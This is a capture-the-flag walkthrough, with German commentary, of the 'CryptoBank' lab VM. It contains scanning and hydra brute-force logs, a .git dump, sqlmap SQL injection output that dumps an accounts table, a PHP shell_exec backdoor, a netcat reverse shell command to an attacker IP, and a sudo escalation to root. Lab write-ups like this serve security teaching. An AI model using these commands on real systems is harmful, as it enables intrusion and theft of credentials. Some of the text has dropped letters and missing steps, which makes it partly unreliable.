Reconnaissance
ARP-Scan
192.168.2.119 08:00:27:1b:ae:a6 PCS Systemtechnik GmbH
/etc/hosts
192.168.2.119 cryptobank.vln
┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 23:04 CET
Nmap scan report for cryptobank.vln (192.168.2.119)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7f:4e:59:df:b7:55:49:cf:d3:12:2d:19:01:05:43:f7 (RSA)
| 256 5e:1b:37:98:ab:c7:e6:ee:5f:f8:df:43:14:de:28:4e (ECDSA)
|_ 256 8e:a9:90:9f:6e:51:b1:c7:26:ea:07:ac:69:28:b3:1c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: CryptoBank
MAC Address: 08:00:27:1B:AE:A6 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(root㉿CCat)-[~]
└─# nikto -h 192.168.2.119
+ Target IP: 192.168.2.119
+ Target Hostname: 192.168.2.119
+ Target Port: 80
+ Start Time: 2024-11-10 23:04:57 (GMT1)
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 82f7, size: 5a30acd90b6ab, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: HEAD, GET, PST, PTINS .
+ /info.php: utput from the phpinfo() function was found.
+ /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /info.php?file=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. See: https://gist.github.com/mubix/5d269c686584875015a2
+ 8255 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2024-11-10 23:06:07 (GMT1) (70 seconds)
┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.119/index.html (Status: 200) [Size: 33527]
http://192.168.2.119/info.php (Status: 200) [Size: 86146]
http://192.168.2.119/assets (Status: 301) [Size: 315] [--> http://192.168.2.119/assets/]
http://192.168.2.119/development (Status: 401) [Size: 460]
http://192.168.2.119/trade (Status: 301) [Size: 314] [--> http://192.168.2.119/trade/]
http://192.168.2.119/closed.html (Status: 200) [Size: 65]
┌──(root㉿CCat)-[~]
└─# hydra -l john -P /usr/share/wordlists/rockyou.txt 192.168.2.119 http-post-form "/trade:user=^USER^&pass=^PASS^:Login Failed! Wrong username or password" -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-10 23:38:54
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344496 login tries (l:1/p:14344496), ~224133 tries per task
[DATA] attacking http-post-form://192.168.2.119:80/trade:user=^USER^&pass=^PASS^:Login Failed! Wrong username or password
[80][http-post-form] host: 192.168.2.119 login: john password: R3v_m4lwh3r3_k1nG!!
[80][http-post-form] host: 192.168.2.119 login: john password: hadi123
[80][http-post-form] host: 192.168.2.119 login: john password: admin
[80][http-post-form] host: 192.168.2.119 login: john password: apollo1
[80][http-post-form] host: 192.168.2.119 login: john password: tabupJievas8Knoj
[80][http-post-form] host: 192.168.2.119 login: john password: spooky1
[80][http-post-form] host: 192.168.2.119 login: john password: zhengxing
[80][http-post-form] host: 192.168.2.119 login: john password: bakeoff
[80][http-post-form] host: 192.168.2.119 login: john password: demo123
[80][http-post-form] host: 192.168.2.119 login: john password: M4v3r1cK
[80][http-post-form] host: 192.168.2.119 login: john password: Pynch
[80][http-post-form] host: 192.168.2.119 login: john password: pynch
[80][http-post-form] host: 192.168.2.119 login: john password: socnetpassword
[80][http-post-form] host: 192.168.2.119 login: john password: MdR3xgB7#dW
┌──(root㉿CCat)-[~]
└─# dirsearch -u http://192.168.2.119/development/ -r -e php,txt,.git
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, git | HTTP method: GET | Threads: 25 | Wordlist size: 10454
Output File: /root/reports/http_192.168.2.119/_development__24-11-10_23-49-36.txt
Target: http://192.168.2.119/
[23:49:36] Starting: development/
[23:49:46] 301 - 328B - /development/backups -> http://192.168.2.119/development/backups/
Added to the queue: development/backups/
[23:49:46] 200 - 458B - /development/backups/
[23:49:55] Starting: development/backups/
http://192.168.2.119/trade/index.php
http://192.168.2.119/development/backups/
Index of /development/backups
[IC] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[DIR] home/ 2020-04-11 15:39 -
┌──(root㉿CCat)-[~]
└─# dirsearch -u http://192.168.2.119/development/backups/ -r -e php,txt,.git
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, git | HTTP method: GET | Threads: 25 | Wordlist size: 10454
Output File: /root/reports/http_192.168.2.119/_development_backups__24-11-10_23-51-05.txt
Target: http://192.168.2.119/
[23:51:05] Starting: development/backups/
[23:51:21] 301 - 333B - /development/backups/home -> http://192.168.2.119/development/backups/home/
┌──(root㉿CCat)-[~]
└─# dirsearch -u http://192.168.2.119/development/backups/home/ -r -e php,txt,.git
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, git | HTTP method: GET | Threads: 25 | Wordlist size: 10454
Output File: /root/reports/http_192.168.2.119/_development_backups_home__24-11-10_23-52-08.txt
Target: http://192.168.2.119/
[23:52:08] Starting: development/backups/home/
[23:52:08] 301 - 338B - /development/backups/home/.git -> http://192.168.2.119/development/backups/home/.git/
[23:52:08] 200 - 634B - /development/backups/home/.git/
Added to the queue: development/backups/home/.git/
[23:52:08] 200 - 23B - /development/backups/home/.git/HEAD
[23:52:08] 200 - 654B - /development/backups/home/.git/hooks/
Added to the queue: development/backups/home/.git/hooks/
[23:52:08] 200 - 432B - /development/backups/home/.git/branches/
Added to the queue: development/backups/home/.git/branches/
[23:52:08] 200 - 73B - /development/backups/home/.git/description
[23:52:08] 200 - 477B - /development/backups/home/.git/info/
Added to the queue: development/backups/home/.git/info/
[23:52:08] 200 - 21KB - /development/backups/home/.git/index
[23:52:08] 200 - 240B - /development/backups/home/.git/info/exclude
[23:52:08] 301 - 348B - /development/backups/home/.git/logs/refs -> http://192.168.2.119/development/backups/home/.git/logs/refs/
Added to the queue: development/backups/home/.git/logs/refs/
[23:52:08] 200 - 157B - /development/backups/home/.git/CMMIT_EDITMSG
[23:52:08] 301 - 354B - /development/backups/home/.git/logs/refs/heads -> http://192.168.2.119/development/backups/home/.git/logs/refs/heads/
[23:52:08] 200 - 498B - /development/backups/home/.git/logs/
Added to the queue: development/backups/home/.git/logs/
[23:52:08] 200 - 153B - /development/backups/home/.git/config
[23:52:08] 200 - 178B - /development/backups/home/.git/logs/HEAD
Added to the queue: development/backups/home/.git/logs/refs/heads/
[23:52:08] 200 - 178B - /development/backups/home/.git/logs/refs/heads/master
[23:52:08] 200 - 41B - /development/backups/home/.git/refs/heads/master
[23:52:08] 200 - 483B - /development/backups/home/.git/refs/
[23:52:08] 301 - 348B - /development/backups/home/.git/refs/tags -> http://192.168.2.119/development/backups/home/.git/refs/tags/
Added to the queue: development/backups/home/.git/refs/tags/
[23:52:08] 301 - 349B - /development/backups/home/.git/refs/heads -> http://192.168.2.119/development/backups/home/.git/refs/heads/
Added to the queue: development/backups/home/.git/refs/heads/
Added to the queue: development/backups/home/.git/refs/
[23:52:08] 200 - 1KB - /development/backups/home/.git/objects/
Added to the queue: development/backups/home/.git/objects/
[23:52:08] 200 - 66B - /development/backups/home/.gitattributes
┌──(pwn)─(root㉿CCat)-[~/Hackingtools/git-dumper]
└─# git-dumper http://192.168.2.119/development/backups/home/.git ~/index/
Warning: Destination '/root/index/' is not empty
[-] Testing http://192.168.2.119/development/backups/home/.git/HEAD [200]
[-] Testing http://192.168.2.119/development/backups/home/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://192.168.2.119/development/backups/home/.gitignore [404]
[-] http://192.168.2.119/development/backups/home/.gitignore responded with status code 404
[-] Fetching http://192.168.2.119/development/backups/home/.git/ [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/config [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/info/ [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/index [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/description [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/hooks/ [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/logs/ [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/HEAD [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/CMMIT_EDITMSG [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/refs/ [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/logs/HEAD [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/info/exclude [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/logs/refs/[200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/refs/heads/ [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/refs/tags/ [200]
[-] Fetching http://192.168.2.119/development/backups/home/.git/hooks/fsmonitor-watchman.sample [200]
┌──(pwn)─(root㉿CCat)-[~/index/.git]
└─# cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = cryptobank
email = julius.b@cryptobank.local
┌──(pwn)─(root㉿CCat)-[~/index/.git]
└─# cat HEAD
ref: refs/heads/master
┌──(pwn)─(root㉿CCat)-[~/index/.git]
└─# cat refs/heads/master
bd768251b7225e88ae11225d60645a0d5f2106f0
┌──(pwn)─(root㉿CCat)-[~/index/.git]
└─# cd logs
┌──(pwn)─(root㉿CCat)-[~/index/.git/logs]
└─# ll
total 8
-rw-r--r-- 1 root root 178 Nov 10 23:54 HEAD
drwxr-xr-x 3 root root 4096 Nov 10 23:54 refs
┌──(pwn)─(root㉿CCat)-[~/index/.git/logs]
└─# cat HEAD
0000000000000000000000000000000000000000 bd768251b7225e88ae11225d60645a0d5f2106f0 cryptobank 1586639828 +0000 commit (initial): Backup whole home dir
┌──(pwn)─(root㉿CCat)-[~/index/.git/info]
└─# cat exclude
# git ls-files --others --exclude-from=.git/info/exclude
# Lines that start with '#' are comments.
# For a project mostly in C, the following would be a good set of
# exclude patterns (uncomment them if you want to use them):
# *.[oa]
# *~
┌──(pwn)─(root㉿CCat)-[~/index/.git/info]
└─# strings ../index
DIRC
.gitattributes
2development/tools/CommandExecution/CommandExec.php
ag19
3development/tools/CommandExecution/commandexec.html
ag19
6development/tools/FileInclusion/pages/fetchmeafile.php
ag19
.development/tools/FileInclusion/pages/file.txt
ag19
2development/tools/FileInclusion/pages/fileinc.html
ag19
)development/tools/FileUpload/fileupl.html
ag19
+development/tools/FileUpload/fileupload.php
ag19
&development/tools/Resources/button.css
ag19
development/tools/homepage.html
ag19
development/tools/index.php
ag19
trade/logo-top.png
trade/logout.php
trade/money_transfer.php
trade/mysql_connect_init.php
trade/style.css
trade/view_loans.php
TREE
210 4
trade
33 1
bootstrap_3.3.7
21 3
4gncss
sfonts
massets
80 4
?h6g
Z5k[
g>#H
51 0
fonts
11 0
development
13 1
tools
10 4
3H>pResources
xFileUpload
BFileInclusion
pages
CommandExecution
ninjafirewall
┌──(root㉿CCat)-[~]
└─# sqlmap -r /home/ccat/Downloads/sql.sql --dbs --dbms=mysql --risk=3 --level=5 --batch
[00:08:27] [INF] checking if the injection point on PST parameter 'user' is a false positive
PST parameter 'user' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2859 HTTP(s) requests:
Parameter: user (PST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=ben' AND (SELECT 1002 FRM (SELECT(SLEEP(5)))ToHY)-- gbLM&pass=pass&login=Login
[00:09:18] [INF] the back-end DBMS is MySQL
[00:09:18] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[00:09:18] [INF] fetching database names
[00:09:18] [INF] fetching number of databases
[00:09:18] [INF] retrieved: do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
5
[00:09:28] [INF] retrieved: information_schema
[00:10:30] [INF] retrieved: cryptobank
[00:11:03] [INF] retrieved: mysql
[00:11:20] [INF] retrieved: performance_schema
[00:12:16] [INF] retrieved: sys
available databases [5]:
[*] cryptobank
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
┌──(root㉿CCat)-[~]
└─# sqlmap -r /home/ccat/Downloads/sql.sql -D cryptobank -T accounts --dbms=mysql --risk=3 --level=5 --batch --dump
Database: cryptobank
Table: accounts
[10 entries]
++
| id_account | balance | password | username |
++
| 11 | 1 | x8CRvHqgPp | patric |
| 12 | 777 | 8hPx2Zqn4b | notanirsagent |
| 10 | 857 | zm2gBcaxd3 | tim |
| 4 | 1375 | NqRF4W85yf | johndl33t |
| 9 | 2886 | LnBHvEhmw3 | buzzlightyear |
| 8 | 4324 | 6X7DnLF5pG | deadbeef |
| 6 | 8531 | 3mwZd896Me | spongebob |
| 3 | 26321 | 3Nrc2FYJMe | bill.w |
| 2 | 34421 | wJWm4CgV26 | juliusthedeveloper |
| 1 | 87549 | gFG7pqE5cn | williamdelisle |
++
[00:31:36] [INF] table 'cryptobank.accounts' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.2.119/dump/cryptobank/accounts.csv'
[00:31:36] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.119'
[*] ending @ 00:31:36 /2024-11-11/
┌──(root㉿CCat)-[~]
└─# vi password.txt
admin:$2y$12$A4jqwtWB73.TAMIeplx0T.5oG/mnHR1qTDa8cmtTIvW3ZTjdSjdjC
m0n3y6r4bb3r:$2y$12$EX/FDsztTMwftzPRyY8gFuM7ZjAphQRZs88qpZpmboRogAYXowC
┌──(root㉿CCat)-[~]
└─# hydra -L user.txt -P password.txt cryptobank.local -f http-get /development
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-11 00:23:01
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking http-get://cryptobank.local:80/development
[80][http-get] host: cryptobank.local login: julius.b password: wJWm4CgV26
[STATUS] attack finished for cryptobank.local (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-11 00:23:02
Nun benutzen wir die Infos um in das .dev verzeichnis zu zugreifen mit HTTP-Get
┌──(root㉿CCat)-[~]
└─# dirb http://cryptobank.local/development/ -u julius.b:wJWm4CgV26
--
DIRB v2.22
By The Dark Raver
--
START_TIME: Mon Nov 11 00:24:11 2024
URL_BASE: http://cryptobank.local/development/
WRDLIST_FILES: /usr/share/dirb/wordlists/common.txt
AUTHRIZATIN: julius.b:wJWm4CgV26
--
GENERATED WRDS: 4612
- Scanning URL: http://cryptobank.local/development/
> DIRECTRY: http://cryptobank.local/development/backups/
+ http://cryptobank.local/development/index.html (CDE:200|SIZE:21)
+ http://cryptobank.local/development/php.ini (CDE:200|SIZE:109)
> DIRECTRY: http://cryptobank.local/development/tools/
- Entering directory: http://cryptobank.local/development/backups/ -
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
- Entering directory: http://cryptobank.local/development/tools/ -
+ http://cryptobank.local/development/tools/index.php (CDE:403|SIZE:688)
> DIRECTRY: http://cryptobank.local/development/tools/Resources/
- Entering directory: http://cryptobank.local/development/tools/Resources/ -
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
--
END_TIME: Mon Nov 11 00:24:15 2024
DWNLADED: 9224 - FUND: 3
Proof of Concept: Solr RCE to Root via Sudo
┌──(root㉿CCat)-[~/index]
└─# ls -la
total 724
drwxr-xr-x 7 root root 20480 Nov 10 23:54 .
drwx 40 root root 110592 11. Nov 00:22 ..
-rwxr-xr-x 1 root root 1149 16. kt 23:16 41154.sh
drwxr-xr-x 6 root root 4096 10. Nov 23:54 assets
-rwxr-xr-x 1 root root 65 10. Nov 23:54 closed.html
drwxr-xr-x 3 root root 4096 10. Nov 23:54 development
-rwxr-xr-x 1 root root 260 10. Nov 23:54 dev-notes.txt
-rw-r--r-- 1 root root 3827 26. kt 00:43 DirBusterReport-192.168.2.148-80-simple.txt
-rw-r--r-- 1 root root 4293 26. kt 00:43 DirBusterReport-192.168.2.148-80.txt
drwxr-xr-x 7 root root 4096 10. Nov 23:54 .git
-rwxr-xr-x 1 root root 66 10. Nov 23:54 .gitattributes
-rwxr-xr-x 1 root root 33603 10. Nov 23:54 index.html
-rwxr-xr-x 1 root root 458095 10. Nov 23:54 index.js
-rw-r--r-- 1 root root 252 16. kt 23:16 libhax.c
-rw-r--r-- 1 root root 253 16. kt 23:24 libhax.so
-rwxr-xr-x 1 root root 5340 10. Nov 23:54 ninjacheck.php
drwxr-xr-x 8 root root 4096 10. Nov 23:54 ninjafirewall
-rw-r--r-- 1 root root 134 16. kt 23:16 rootshell.c
-rwxr-xr-x 1 root root 246 16. kt 23:27 script.sh
-rwxr-xr-x 1 root root 28981 10. Nov 23:54 style.css
drwxr-xr-x 3 root root 4096 10. Nov 23:54 trade
┌──(root㉿CCat)-[~/index]
└─# cd development
┌──(root㉿CCat)-[~/index/development]
└─# ls -la
total 44
drwxr-xr-x 3 root root 4096 Nov 10 23:54 .
drwxr-xr-x 7 root root 20480 Nov 10 23:54 ..
-rwxr-xr-x 1 root root 154 Nov 10 23:54 .htaccess
-rwxr-xr-x 1 root root 109 Nov 10 23:54 php.ini
drwxr-xr-x 6 root root 4096 Nov 10 23:54 tools
-rwxr-xr-x 1 root root 109 Nov 10 23:54 .user.ini
┌──(root㉿CCat)-[~/index/development]
└─# cd tools
┌──(root㉿CCat)-[~/index/development/tools]
└─# ls -la
total 32
drwxr-xr-x 6 root root 4096 Nov 10 23:54 .
drwxr-xr-x 3 root root 4096 Nov 10 23:54 ..
drwxr-xr-x 2 root root 4096 Nov 10 23:54 CommandExecution
drwxr-xr-x 3 root root 4096 Nov 10 23:54 FileInclusion
drwxr-xr-x 2 root root 4096 Nov 10 23:54 FileUpload
-rwxr-xr-x 1 root root 1014 Nov 10 23:54 homepage.html
-rwxr-xr-x 1 root root 62 Nov 10 23:54 index.php
drwxr-xr-x 2 root root 4096 Nov 10 23:54 Resources
┌──(root㉿CCat)-[~/index/development/tools]
└─# cat index.php
┌──(root㉿CCat)-[~/index/development/tools]
└─# cd CommandExecution
┌──(root㉿CCat)-[~/index/development/tools/CommandExecution]
└─# ls -la
total 16
drwxr-xr-x 2 root root 4096 Nov 10 23:54 .
drwxr-xr-x 6 root root 4096 Nov 10 23:54 ..
-rwxr-xr-x 1 root root 745 Nov 10 23:54 commandexec.html
-rwxr-xr-x 1 root root 1199 Nov 10 23:54 CommandExec.php
┌──(root㉿CCat)-[~/index/development/tools/CommandExecution]
└─# cat CommandExec.php
php
if(isset($ GET["username"])){
//echo shell_exec($ GET["username"]);
if($ GET["password"] "wJWm4CgV26")
echo shell_exec($ GET["username"]);
}
commandexec.html
// Wir untersuchen nun was wir mit den informationen anfangen können.
http://192.168.2.119/development/tools/CommandExecution/commandexec.html
http://192.168.2.119/development/tools/CommandExecution/CommandExec.php?username=id&password=wJWm4CgV26
Auth to execute system command
Username: id
Password: wJWm4CgV26
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Wir haben es geschafft als www-data rechte zu erlangen.
http://192.168.2.119/development/tools/CommandExecution/CommandExec.php?username=nc+-e+%2Fbin%2Fbash+192.168.2.199+9001&password=wJWm4CgV26
Possible security incident detected
In dem folgenden versuchten wir die Home ordner des Systems auf zu listen.
total 12
drwxr-xr-x 3 root root 4096 Apr 10 2020 .
drwxr-xr-x 24 root root 4096 Nov 10 22:41 ..
drwxr-xr-x 5 cryptobank cryptobank 4096 Apr 16 2020 cryptobank
http://192.168.2.119/development/tools/CommandExecution/CommandExec.php?username=ls+-la+%2Fhome&password=wJWm4CgV26
Hier schreib ich die Infos hier nach
10 24:13 cd / var/www/html && rm -rf /var/www/html/shell2.php ;
Hier auch wie wir eine reverse shell bekommen haben.
www-data@cryptobank:/var/www/cryptobank/development/tools/CommandExecution$ find / -type f -perm -4000 -ls 2>/dev/null
Nun machen wir das wieder den PwnKit Test
Nun machen wir PIVOTING
wir erstellen eine Meterpreter datei mit msfvenom
Hier fügen wir den reverse code zum abfangen ein damit der Host mit uns eine reverse verbindung aufbaut.
Privilege Escalation per Sudo
wir machen es mit den Sudo rechten weil wir es können.
Hier bekommen wir das Passwort raus.
solr@33fa86e6105f:/opt/solr/server$ sudo su
Root is in
Nun die Letzte Flag
Glückwunsch zum Sieg
"Code Ende hier"
Flags
cat flag.txt
flag{l4szl0h4ny3cz1smyh3r0}
cat flag.txt
flag{s4t0sh1n4k4m0t0}